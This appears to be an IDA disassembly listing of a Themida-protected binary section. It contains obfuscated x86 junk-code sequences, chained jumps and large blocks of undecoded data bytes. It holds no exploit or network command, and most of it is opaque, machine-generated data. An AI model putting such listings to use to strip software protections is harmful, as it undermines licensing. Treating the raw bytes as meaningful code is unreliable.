; ---------------------------------------------------------------------------
aISP		db ',$p',0
		db 0
; ---------------------------------------------------------------------------


loc_54652F:				; CODE XREF: Themida_:0054FB17j
		add	al, 0E1h
		sub	al, 0FDh
		add	al, dh
		add	al, 0FDh
		sub	al, 0E1h
		mov	dx, [esp]
		jmp	loc_54DADA
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd offset loc_40BBE6+3
		dd 0B5E95B00h, 25000051h, 54130DD9h, 501C083h, 0AFEFF303h
		dd 8358C601h, 343302C6h, 24343124h, 8B243433h, 0D3662424h
		dd 0E99C2424h, 5F39h, 83242C8Bh, 0E95504C4h, 2A6Fh, 24048F54h
		dd 4240483h, 0FF2434FFh, 835B2434h, 895004C4h, 405E0h
		dd 4050000h, 0E9000000h, 8540h,	0E9C8E280h, 5880h, 8B5AD389h
		dd 0C483240Ch, 0DBEBE904h, 0B32DFFFFh, 5419343h, 66EC517Dh
		dd 2931B951h, 54E963F9h, 8B000072h, 89562404h, 4C681E6h
		dd 83000000h, 348704C6h, 0C4835C24h, 69F46804h,	0A2E90000h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5465F3:				; CODE XREF: Themida_:00544BCEj
		mov	edi, 0E9C13E9Eh
		add	ebp, edi
		pop	edi
		and	eax, ebp
		pop	ebp
		jmp	loc_546BEF
; ---------------------------------------------------------------------------
		db 81h
		dd 3D21EDEAh, 81F2294Bh, 3D21EDC2h, 14335E4Bh, 24143124h
		dd 0E9241433h, 0E9Ch, 5103E9C1h, 0FF242C81h, 0E9FFFFFFh
		dd 486Eh, 0B8240489h, 3340007Ah, 0EF44CB0Dh, 54BA523Fh
		dd 0E924BE64h, 9D8Ch
; ---------------------------------------------------------------------------


loc_546648:				; CODE XREF: Themida_:0054FE6Bj
		jnz	loc_54F8AB
		push	ebp
		mov	ebp, 79924C3h
		add	ebp, 42FEDEDEh
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_54C749
; ---------------------------------------------------------------------------
		db 89h
		dd 0BB53242Ch, 39F36611h, 55BDD89h, 20340F81h, 0BD55E829h
		dd 20340F81h, 2F02E9h
		db 0
; ---------------------------------------------------------------------------


loc_546689:				; CODE XREF: Themida_:00548911j
		mov	esp, [esp]
		push	4D12h
		mov	[esp], ecx
		push	ebx
		jmp	loc_54C83C
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 4C781h, 0DCE90000h, 83FFFFE3h, 3C8704EFh, 0C895C24h
		dd 8C0DE924h, 0DA300000h, 3EAFE9h, 0E980B500h, 5CE1h
; ---------------------------------------------------------------------------


loc_5466C4:				; CODE XREF: Themida_:00545216j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5445D5
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0FF545624h, 0E95E2434h, 85A6h
; ---------------------------------------------------------------------------


loc_5466E4:				; CODE XREF: Themida_:00548E49j
		push	edi
		push	624F4243h
		push	dword ptr [esp]
		pop	edi
		push	ecx
		jmp	loc_54AA4A
; ---------------------------------------------------------------------------
		dd 0B8240489h, 4, 7626C181h, 0C1293010h, 7626E981h, 68583010h
		dd 50C3h, 0FF240C89h, 8B042474h, 3CE9240Ch, 5900006Bh
		dd 0ED6B951h, 0E1812C49h, 459B75EDh, 1C3EE9h
		db 0
; ---------------------------------------------------------------------------


loc_546731:				; CODE XREF: Themida_:00544D51j
		push	58E9h
		mov	[esp], edi
		mov	edi, 6A626762h
		neg	edi
		xor	edi, 313E706Dh
		sub	edi, 6F5722EAh
		jmp	loc_545AB7
; ---------------------------------------------------------------------------
		db 1, 0D0h, 2Dh
		dd 206C5D90h, 46F52D5Ah, 0F80166F9h, 0F946F505h, 57F62D66h
		dd 3C8B5B56h, 4C48324h,	539E68h, 5EE0E900h, 875E0000h
		dd 0F5E9243Ch, 0BBFFFFEBh, 4, 4A49C281h, 0EA811D1Bh, 147D101Bh
		dd 0C281DA01h, 147D101Bh, 4A49EA81h, 875B1D1Bh,	248B2414h
		dd 37D36824h, 34890000h, 7732E924h, 0D9210000h,	7E9C15Bh
		dd 1F5568h, 24348900h, 5856DE89h, 5724348Bh, 59CCE9h, 0E95A5C00h
		dd 0FFFFD9D1h, 242C3358h, 0E9242C31h, 0FFFFE0ABh
; ---------------------------------------------------------------------------


loc_5467E4:				; CODE XREF: Themida_:00548B3Aj
		inc	bl
		jmp	loc_54D6B3
; ---------------------------------------------------------------------------
		db 68h
		dd 7C40h, 2FDDE9h, 0B0505300h, 37E0E9DDh, 0C2810000h, 3F910490h
		dd 17B6C281h, 0D089BA75h, 2B2D485Ah, 515A5541h,	310268B9h
		dd 3591E936h, 0C3810000h, 4D354CD8h, 5E6EC381h,	0C3292BA7h
		dd 5E6EEB81h, 71E92BA7h, 8000006Ah, 0C82863C1h,	515F2C59h
		dd 0EEE9BFB1h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546847:				; CODE XREF: Themida_:0054D73Aj
		add	edx, 7F311BECh
		pop	edi
		and	eax, edx
		jmp	loc_544F0E
; ---------------------------------------------------------------------------
		db 4Fh,	81h, 0C7h
		dd 15A42085h, 48A0F781h, 56470FF8h, 978FE9h, 47C38100h
		dd 0E92FD131h, 2DFEh, 0EC17E95Ah, 3BB8FFFFh, 0F7535813h
		dd 4F6005D8h, 96355DFBh, 35444654h, 2D0956D2h, 2414F750h
		dd 0C19A3558h, 0C3019C13h, 120FE9h, 0E3C14B00h,	0F4F38104h
		dd 13B21D7h, 241C8BD8h,	4C481h,	4870000h, 4CF2E924h, 5B540000h
		dd 4C381h, 0EB830000h, 241C8704h, 7149E95Ch, 34FF0000h
		dd 5EFFE924h, 68B40000h, 2DEAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5468E1:				; CODE XREF: Themida_:0054F5C0j
		cmp	eax, edx
		jmp	loc_54520F
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 45596800h, 3C890000h, 2BB7E924h, 0B4500000h
		dd 1B6EE956h, 0BF570000h, 4, 0BBE9FD01h, 83000084h, 0C3304E9h
		dd 240C3124h, 8B240C33h, 14892424h, 16824h, 34FF0000h
		dd 24148B24h, 4C481h, 93680000h, 89000053h, 58542404h
		dd 0B06E9h
		db 0
; ---------------------------------------------------------------------------


loc_546945:				; CODE XREF: Themida_:00549A61j
		sub	esp, 4
		mov	[esp], edx
		mov	ebp, [esp]
		jmp	loc_54BCE7
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 26824h, 0EBE90000h, 89000054h, 10E95BDFh, 0FF00008Dh
		dd 0DAE92434h, 68000051h, 2620h, 56242C89h, 0E5052EBEh
		dd 5EF58911h, 4564BE56h, 0F50927D3h, 0A6CD815Eh, 812F1F15h
		dd 0E04DD0EDh, 9E9506Fh, 89000006h, 4DE95EF0h, 81000089h
		dd 0EA7311C2h, 5AD00142h, 89C38953h, 45E95BDDh,	5E000064h
		dd 0E85FE950h, 0DFB8FFFFh, 0E958BE53h, 0FFFFF600h, 8105EEC1h
		dd 0FDCC9DC6h, 1123E90Fh, 2D580000h, 6C585E60h,	51242C8Bh
		dd 9AE9E189h, 9000067h,	0DB840FC0h, 0FF000003h,	56551C77h
		dd 96043CBEh, 14E9563Bh, 2800001Ah, 663F2CD8h, 0E9CAB353h
		dd 0DB9h, 4C681h, 12E90000h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546A1B:				; CODE XREF: Themida_:0054F8AEj
		push	316Ah
		jmp	loc_54557E
; ---------------------------------------------------------------------------


loc_546A25:				; CODE XREF: Themida_:0054D971j
		xor	edx, edi
		pop	edi
		push	ecx
		mov	ecx, 528139DEh
		jmp	loc_5461BD
; ---------------------------------------------------------------------------
		db 66h
		dd 1CEAEF81h, 801E95Eh,	0C6800000h, 8E6C0CBh, 502DEE80h
		dd 0E0C083B0h, 667A3402h, 2032B151h, 0E10CE9C8h, 4AE9FFFFh
		dd 81FFFFD7h, 0EE0613C5h, 0FBE9504Dh, 5B00002Fh, 0E904C483h
		dd 0FFFFD735h, 81E78957h, 4C7h,	4C78100h, 87000000h, 8FE9243Ch
		dd 8100005Bh, 4C1h, 4C18300h, 0E9240C87h, 5653h, 5765F381h
		dd 0EC686585h, 8900002Ch, 7E9241Ch, 6600005Ah, 0E924048Bh
		dd 30D4h, 24048F54h, 4BA52h, 6C810000h,	27E10424h, 540158BFh
		dd 44810424h, 27E10424h, 12E958BFh, 53000046h, 1BBh, 5BDF0100h
		dd 0E905EFC1h, 624Eh, 5C241433h, 0FFFB76E9h, 24148BFFh
		dd 81E68956h, 4C6h, 33F0E900h, 95BB0000h, 4351B510h, 63CC381h
		dd 0D921C960h, 52E9815Bh, 0E912F9FBh, 36C0h, 24048B66h
		dd 7608E9h, 48B5D00h, 4C48124h,	81000000h, 7460B0CEh, 54BB5374h
		dd 3153503Dh, 0DE875BDEh, 0DE87D3F7h, 5710CE81h, 2EE93A1Ah
		dd 83000067h, 0ED6804C4h, 89000008h, 4CE92404h,	83000052h
		dd 65E904EEh, 29000067h, 78EB81CBh, 0E96A0221h,	8DECh
		dd 81240489h, 78882434h, 815D3415h, 157888F5h, 2434FF34h
		dd 68FEE958h, 12E90000h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546B97:				; CODE XREF: Themida_:00549ABBj
		mov	esi, 603F5CA5h
		mov	ebx, esi
		jmp	loc_544D0C
; ---------------------------------------------------------------------------
		db 64h
		dd 2B60F66h, 72786866h,	24048966h, 0FFD5F4E9h, 515756FFh
		dd 37986866h, 81665966h, 666761C9h, 8308E1C1h, 6DE904ECh
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546BCF:				; CODE XREF: Themida_:00546164j
		xor	edx, ebp
		push	dword ptr [esp]
		jmp	loc_544CE5
; ---------------------------------------------------------------------------
		db 0F7h, 0D9h, 0F7h
		dd 0F2E981D9h, 5201529Dh, 5341E9h, 0E4E95900h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546BEF:				; CODE XREF: Themida_:005465FEj
		or	eax, eax
		jz	loc_54603F
		push	dword ptr [edi+28h]
		push	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_548E57
; ---------------------------------------------------------------------------


loc_546C06:				; CODE XREF: Themida_:00546522j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	[edi+1Ch], ebp
		mov	ebp, [esp]
		jmp	loc_54F07A
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFF068E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546C21:				; CODE XREF: Themida_:0054604Cj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 14962076h
		sub	edx, ecx
		mov	ecx, [esp]
		jmp	loc_54E5CA
; ---------------------------------------------------------------------------
		db 0Fh
		dd 73E9C8AFh, 0BDFFFFD9h, 1, 2C8BE821h,	0E1895124h, 9174E9h
		dd 0E9C80100h, 5FBBh, 54501C04h, 40558h, 0B9510000h, 4
		dd 58E9C829h, 8FFFFFDFh, 0F7AFE902h, 2C89FFFFh,	1BD24h
		dd 0EB010000h, 68B9515Dh, 81B626BFh, 0E05449EBh, 61DFE94Fh
		dd 1EBD0000h, 896C9443h, 0E9425DEAh, 146Ch, 0D9B518B9h
		dd 59CB3196h, 0E95BDD01h, 3A4Eh, 8104C483h, 4C3h, 241C3300h
		dd 0E9241C31h, 0FFFFEAA9h, 46246866h, 240C8966h, 0EE88E0B5h
		dd 302E9h, 241C8700h, 68242C8Bh, 50h, 89241489h, 685657E2h
		dd 53033D12h, 39C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_546D0D:				; CODE XREF: Themida_:0054D6C8j
		pop	ebx
		push	0
		sub	[esp], al
		mov	al, [esp]
		jmp	loc_54EA51
; ---------------------------------------------------------------------------
		dw 489h
aHok		db '$hok',0
		align 2
		dw 2C89h
		dd 15ACBD24h, 47E903A3h, 0B9000058h, 288659B8h,	81D9F749h
		dd 0CFE1CAF1h, 59CB09B5h, 8835C381h, 0EC818549h, 4, 68240C89h
		dd 7E48h, 81242489h, 42404h, 81590000h,	4C1h, 4E98100h
		dd 87000000h, 248B240Ch, 241C8924h, 0EB242C81h,	8F7AEA51h
		dd 42813842h, 0EA51EB38h, 31F1E97Ah, 815A0000h,	4C2h, 2C28300h
		dd 0FFEF16E9h, 0C14F5DFFh, 80E905E7h, 64FFFFDCh, 0FAE90288h
		dd 89FFFFD3h, 274E9E3h,	71680000h, 0E9000015h, 0C46h, 0FFD3E4E9h
		dd 240C8BFFh, 4C481h, 74680000h, 8900006Ch, 10E92414h
		dd 87FFFFFAh, 0E9D6F7F1h, 5883h, 815AD789h, 152A8AF7h
		dd 0FFF80165h, 0B1E92434h, 2100004Fh, 2434FFD8h, 0E92434FFh
		dd 66BDh, 0E932FF66h, 0FFFFD39Dh, 104C483h, 240C8BCAh
		dd 4C481h, 0E9560000h, 278Fh, 0FF2434FFh, 0EBE92434h, 83000023h
		dd 0BCE904C4h, 66FFFFF6h, 6824048Bh, 55D9h, 54240C89h
		dd 0E1895159h, 4C181h, 0E9810000h, 4, 5C240C87h, 0E9242C89h
		dd 1480h
; ---------------------------------------------------------------------------


loc_546E5C:				; CODE XREF: Themida_:00549F62j
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_546F97
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 5271BA24h, 0D6892659h, 5E6C15Ah
		dd 7A5EE9h, 0D323E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546E86:				; CODE XREF: Themida_:0054FC4Bj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		jmp	loc_54760F
; ---------------------------------------------------------------------------
		db 0FFh, 30h, 0E9h
		dd 0FFFFD309h, 489665Ch, 0D2FFE924h, 0E589FFFFh, 4C581h
		dd 0ED830000h, 242C8704h, 44AE9h, 240C8700h, 0FFEDE7E9h
		dd 5BD831FFh, 5558C389h, 757CE9h, 3FCBA00h, 35E90000h
		dd 5500002Ah, 2C9CE9h
		db 0
; ---------------------------------------------------------------------------


loc_546EE1:				; CODE XREF: Themida_:0054FA83j
		pop	edi
		add	edx, edi
		push	dword ptr [edx]
		jmp	loc_54EA0C
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 241C3324h, 85C6E9h, 4895C00h, 661BB824h
		dd 0D0F7708Fh, 7EFAA135h, 48150E9h, 8624FB24h, 5874E91Eh
		dd 0FF500000h, 58042474h, 6D74E9h, 34E95800h, 0B8000010h
		dd 78F3643Eh, 4AE9h, 94CD8000h,	0FE5EB753h, 6E7C0C7h, 0E902EFC0h
		dd 0FFFFDE12h, 0E924248Bh, 0FFFFD25Dh, 3B685F54h, 89000039h
		dd 0E4E9242Ch, 0ADFFFFD7h, 332B951h, 0C8017642h, 49A50559h
		dd 0C705405Eh, 15EF771h, 71C72DD8h, 70E95EF7h, 3500004Bh
		dd 271C72F1h, 211F3C25h, 35E8D113h, 9908B02h, 8358C301h
		dd 32E904EBh
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546F97:				; CODE XREF: Themida_:00546E63j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_54C316
; ---------------------------------------------------------------------------
aUs?		db 'U$?',0
		align 2
aVsg5		db 'Vg5',0
		align 4
		dd 5A696857h, 4F5F69D6h, 4A08B850h, 0C701FB7Fh,	5FFD8958h
		dd 2C8BE989h, 31EAE924h, 1CF60000h, 0CEE99C24h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546FDB:				; CODE XREF: Themida_:00547808j
		shr	ebp, 4
		neg	ebp
		xor	ebp, 915A7A6Bh
		jmp	loc_54ED7E
; ---------------------------------------------------------------------------
		db 89h
		dd 90E9241Ch, 66000018h, 0E9240C8Bh, 12F8h, 29EB815Dh
		dd 0E93E9932h, 7E26h, 0E924248Bh, 58FEh, 63B8EA81h, 0EC813E00h
		dd 4, 88240C89h, 590A88C1h, 0D17FE95Ah,	0C381FFFFh, 4
		dd 4EB81h, 62E90000h, 0FF000067h, 835D2434h, 0E5C104C4h
		dd 0D5F74D07h, 94F58145h, 0E986306Fh, 8CF4h, 8B5DE801h
		dd 0C481241Ch, 4, 4EC81h, 2C890000h, 2977E924h,	10680000h
		dd 5E066B7Ch, 8102E6C1h, 8B6CEDF6h, 0EA7EE904h,	0E951FFFFh
		dd 6092h, 0DD368h, 243C8900h, 0C56758BFh, 69EB817Ah, 0E916671Ch
		dd 80D1h, 4227A4BAh, 5AD0290Ah,	473BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5470AD:				; CODE XREF: Themida_:00549D0Bj
		dec	esi
		or	esi, 34C927CDh
		sub	esi, 65AC694Ch
		jmp	loc_547DD5
; ---------------------------------------------------------------------------
		db 29h
		dd 2434FFD8h, 4C4815Bh,	0FF000000h, 0C4E92434h,	1FFFFE3h
		dd 0E9575DEFh, 4EC7h, 886FB753h, 0C2FE5BFAh, 8091EA80h
		dd 0EA80BFEAh, 63ABE959h, 248B0000h, 48B6624h, 30026824h
		dd 2C890000h, 56E58924h, 75D0BF57h, 0FE891182h,	5F2434FFh
		dd 0E904C483h, 32AAh, 7090BA52h, 0F281166Bh, 4E435F4Ah
		dd 101AEE81h, 0D6015F6Dh, 712EE9h, 4BD00h, 0B3E90000h
		dd 1000056h, 36C181C1h,	5829472Eh, 0E9240C87h, 51F9h, 8324148Bh
		dd 0E9C104C4h, 73176802h, 0C890000h, 4937E924h,	0C1810000h
		dd 0B863396h, 7BF2E9h, 5BDE0100h, 31243433h, 34332434h
		dd 1016E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54717E:				; CODE XREF: Themida_:00549C00j
		add	edi, 2A64CDBh
		sub	edi, 58446E65h
		jmp	loc_54857F
; ---------------------------------------------------------------------------
		dd offset dword_54E968
		align 4
		dd 50241489h, 0D00BE99Ch, 0F75EFFFFh, 76C181D9h, 89424332h
		dd 0CE8159CEh, 41DC008Eh, 814EE6D1h, 4C657FC6h,	4965E925h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5471BE:				; CODE XREF: Themida_:00550266j
		add	edx, 4
		sub	edx, 4
		jmp	loc_54A9B2
; ---------------------------------------------------------------------------
aST		db '^t',0
		dd 24040000h, 83B8E99Ch, 685F0000h, 1B8h, 653E9h, 52F16800h
		dd 14890000h, 0FCDBE924h, 0E0C1FFFFh, 25E8D105h, 58BB714Dh
		dd 93B9932Dh, 0CFD9E9D4h, 0FE09FFFFh, 0F3F6815Fh, 177FF7Bh
		dd 0C2815EF2h, 4, 0E9241487h, 0FFFFF5ADh
; ---------------------------------------------------------------------------


loc_547224:				; CODE XREF: Themida_:0054F0E2j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	7546h
		mov	[esp], ebp
		mov	ebp, 4E0D0E1Dh
		jmp	loc_54D56A
; ---------------------------------------------------------------------------
		db 66h
		dd 4247C29h, 0B4E95F66h, 89000028h, 34E92434h, 81000074h
		dd 4C1h, 4E98300h, 0E9240C87h, 26A3h, 0FFCF40E9h, 4B8FFh
		dd 44010000h, 0E9580424h, 0FFFFCF31h, 0C104C483h, 0EA8103E2h
		dd 0F460D584h, 7F07E205h, 0C65E92Bh, 0D5310000h, 5DEA015Ah
		dd 79E9CA87h, 56FFFFE2h, 88A8E9h, 0C8B6600h, 64685324h
		dd 0E9000058h, 0FFFFF2D4h, 8BF9315Bh, 0C483243Ch, 24B7E904h
		dd 52660000h, 88FD8851h, 0CEFE59EEh, 25A9E9h, 2434FF00h
		dd 0FFD60CE9h, 0E95266FFh, 8B3h, 0BD55E8D1h, 1777A2BEh
		dd 0D8E9E829h, 6800003Dh, 16F9h, 56241C89h, 0FFD409E9h
		dd 0E18951FFh, 4C181h, 0CE90000h, 8BFFFFF6h, 3C892424h
		dd 4EC8124h, 54000000h,	0FFE5CDE9h, 8CEF81FFh, 815F733Ah
		dd 357CFAC7h, 8EC7816Bh, 0E99E2FD7h, 48Fh, 8020E480h, 0E58832F4h
		dd 8324048Bh, 0E82804C4h, 240C8B66h, 4FD968h, 242C8900h
		dd 0C581E589h, 4, 625AE9h, 0B7BE5600h, 81122452h, 757495C6h
		dd 39EE8132h, 29323776h, 89565EF0h, 0F69AE9E6h,	4804FFFFh
		dd 2CF00059h, 148B6623h, 2C48324h, 4EC81h, 1C890000h, 0B3B15124h
		dd 0EB802EB3h, 80CB2881h, 805981C3h, 0F380FBEBh, 0A2CB80C0h
		dd 0F629B151h, 53C1FED9h, 2FE9D1B3h, 5800007Fh,	4EC81h
		dd 0C890000h, 52E18924h, 4BAh, 79C18100h, 11C586Ch, 4EC83D1h
		dd 0FFDC9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5473D5:				; CODE XREF: Themida_:0054BF43j
		push	dword ptr [esp]
		jmp	loc_54FA44
; ---------------------------------------------------------------------------


loc_5473DD:				; CODE XREF: Themida_:0054B4D9j
		add	ecx, 195B34E0h
		jmp	loc_54EF68
; ---------------------------------------------------------------------------
		dd 31241C33h, 1C33241Ch, 0C895C24h, 532AB524h, 8851EB88h
		dd 59CA88D9h, 22ECE9h, 1316BE00h, 0EE812991h, 0BEC3C74Eh
		dd 815EF729h, 0D81A67EFh, 1DE9583Fh, 5600003Bh,	42474FFh
		dd 24048F5Eh, 2404D25Ch, 0CD77E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547432:				; CODE XREF: Themida_:00545BC4j
		pop	edi
		push	esi
		sub	dword ptr [esp], 9EB5EC1h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54B8F7
; ---------------------------------------------------------------------------
aSk_		db ')K_',0
		dw 500h
		dd 4, 405h, 24048700h, 0E9D1215Ch, 812h, 42E9028Fh, 81FFFFCDh
		dd 0BE478BC7h, 8F40E938h, 0C4810000h, 4, 78B8BA52h, 0C7E94F09h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547483:				; CODE XREF: Themida_:00545FA5j
		pop	esp
		mov	[esp], edx
		mov	dh, 8Bh
		neg	dh
		push	ecx
		mov	cl, 61h
		jmp	loc_54B5C0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1C892424h, 50E38924h, 4B8h, 58C30100h, 5302C383h, 42474FFh
		dd 24048F5Bh, 0D324248Bh, 0E99C2424h, 0FFFFCCEDh, 0C89665Ch
		dd 2758E924h, 52500000h, 102D05BAh, 8526E90Dh, 53580000h
		dd 3E2DC768h, 0C1435B3Ch, 434304EBh, 41AEE9h, 4C48300h
		dd 3104C483h, 0E28952C3h, 4C281h, 42680000h, 89000053h
		dd 4BD242Ch, 0E9000000h, 0FFFFFF3Ch, 0B1240C89h, 4EC83CFh
		dd 0E9240C89h, 0FFFFF1A5h, 54241C89h, 5A8DE9h, 74F18100h
		dd 8162D115h, 4ECh, 243C8900h, 780BE9h
		db 0
; ---------------------------------------------------------------------------


loc_547535:				; CODE XREF: Themida_:0054DA4Cj
		mov	edi, ebx
		mov	esi, edi
		pop	edi
		pop	ebx
		and	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	ebx, ebx
		jnz	loc_54F5BE
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_54E01A
; ---------------------------------------------------------------------------


loc_54755A:				; CODE XREF: Themida_:0054D1D0j
		pop	cx
		push	ecx
		jmp	loc_54992E
; ---------------------------------------------------------------------------
		dw 99B9h
		dd 11AEF05h, 4C8DE9C8h,	0E9530000h, 1D75h
; ---------------------------------------------------------------------------


loc_547574:				; CODE XREF: Themida_:0054F44Dj
		mov	[esp], ebx
		sub	dword ptr [esp], 15895801h
		mov	eax, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 60C8026Dh
		sub	esi, 55671555h
		add	esi, 0F49F12ECh
		add	ebp, esi
		jmp	loc_54DF60
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 56000000h, 0E97576BEh, 81D6F763h, 0EB11BEF6h, 0A0E68168h
		dd 0F77D0475h, 0F5E956DEh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5475BF:				; CODE XREF: Themida_:0054DAF2j
		xor	al, dh
		mov	dx, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_54AB57
; ---------------------------------------------------------------------------


loc_5475CD:				; CODE XREF: Themida_:0054A23Bj
		dec	bl
		sub	bl, 8Bh
		sub	al, 0B7h
		jmp	loc_54CA43
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 71h
		dd 0C280C228h, 2434FF71h, 2DFEE958h, 0C4800000h, 2C01E9D3h
		dd 34FF0000h, 50E95924h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5475FB:				; CODE XREF: Themida_:0054B1CFj
		shl	edx, 8
		jmp	loc_54C09E
; ---------------------------------------------------------------------------


loc_547603:				; CODE XREF: Themida_:0054CE57j
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_548010
; ---------------------------------------------------------------------------


loc_54760F:				; CODE XREF: Themida_:00546E94j
		pop	edx
		push	ebx
		mov	ebx, 784320A9h
		push	eax
		mov	eax, 1E1A4C86h
		jmp	loc_54EA70
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	9F9h
		jmp	loc_54CF92
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 87h
		dd 6DEB81FBh, 0E9CB5DFDh, 0FFFFF313h
; ---------------------------------------------------------------------------


loc_547650:				; CODE XREF: Themida_:0054CB37j
		sub	edx, 6849EED8h
		xor	eax, edx
		jmp	loc_544D3F
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 2
		dd 2C5AD028h, 0E9E80003h, 938h,	2414895Ch, 32E99C50h, 81FFFFCBh
		dd 4C4h, 24048F00h, 0F2EB805Ch,	0E950C328h, 0FFFFF169h
		dd 8E4E95Eh, 0FE010000h, 61BB535Fh, 810B0352h, 652137EBh
		dd 0D211E932h, 8B66FFFFh, 89512404h, 9BBB53E1h,	501A0C72h
		dd 0F939D4B8h, 0E9C32945h, 1FC3h, 3302C583h, 76E9242Ch
		dd 68000043h, 4E17h, 0E9243489h, 48EBh,	69E95F58h, 8B000064h
		dd 0C483242Ch, 0CABFE904h, 0EC83FFFFh, 8727E904h, 1C8B0000h
		dd 4C48324h, 0FFCAACE9h, 240C89FFh, 6602EC83h, 53240489h
		dd 0CBFEF5B3h, 5163E9h,	0C0EE8000h, 0FFF325E9h,	0E95166FFh
		dd 0FFFFCBE1h, 7F6176BAh, 0CAF28130h, 0E95AF538h, 4449h
		dd 0A6F5ED81h, 0EB09691Bh, 32EB815Dh, 1E156A1h,	0F7315BDEh
		dd 483D2D5Eh, 0F8012FBAh, 0BA483D05h, 2B8DE92Fh, 0F1810000h
		dd 741F57B8h, 0C8BC889h, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 0E9241C33h, 8908h, 0CC87E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54777E:				; CODE XREF: Themida_:00548E82j
		push	ebx
		jmp	loc_5441CC
; ---------------------------------------------------------------------------


loc_547784:				; CODE XREF: Themida_:005446E5j
		xor	edi, esi
		jmp	loc_5446A3
; ---------------------------------------------------------------------------
		db 81h
		dd 2536B3C5h, 81DDF73Fh, 382F45C5h, 6EE81F2h, 0E9786931h
		dd 79FEh, 51D831ADh, 81E28952h,	4C2h, 4EA8100h,	87000000h
		dd 3AE92414h, 1FFFFF7h,	0FD015FFDh, 8AEEE9h, 0A5B35300h
		dd 8002E3C0h, 0E380A1F3h, 0EBF3808Ch, 0E97CF380h, 1CCDh
		dd 8904EC83h, 4EB82404h, 1741E23h, 2434FFC5h, 0FFDFD0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5477F5:				; CODE XREF: Themida_:00548972j
		push	ebx
		push	ebp
		mov	ebp, 231E7CA0h
		xor	ebp, 62420C3Bh
		or	ebp, 5108387Fh
		jmp	loc_546FDB
; ---------------------------------------------------------------------------
		db 50h,	68h, 80h
		dd 581A4F0Fh, 0C105E0C1h, 0A4E908E0h, 81000018h, 4255B4EBh
		dd 0A4B95169h, 3158EE3Fh, 0EEEDE9CBh, 24BEFFFFh, 0E910BE28h
		dd 7C2Bh, 0BF243C89h, 6EC8211Ah, 0DEEAC781h, 0DCE99137h
		dd 66000006h, 66243431h, 0E9243433h, 303Eh, 11E9595Ch
		dd 66000077h, 5024048Bh, 405E089h, 83000000h, 0DFE904ECh
		dd 66FFFFF0h, 8124048Bh, 4ECh, 24CAE900h, 8B660000h, 5456240Ch
		dd 4C6815Eh, 0E9000000h, 7911h,	8B241C87h, 0A5F32424h
		dd 0E9386203h, 0FFFFCAEAh, 0E9D830ACh, 0FFFFC9CCh, 0C07FB551h
		dd 0C58007EDh, 59EF0849h, 0E94FEF80h, 2EA5h, 4240483h
		dd 8124048Bh, 4C4h, 0EAF0E900h,	0DBF7FFFFh, 0E3E9D3F7h
		dd 5AFFFFD3h, 0DA18E950h, 0C381FFFFh, 4, 8704EB83h, 895C241Ch
		dd 4BE2434h, 0E9000000h, 4B8Eh
; ---------------------------------------------------------------------------


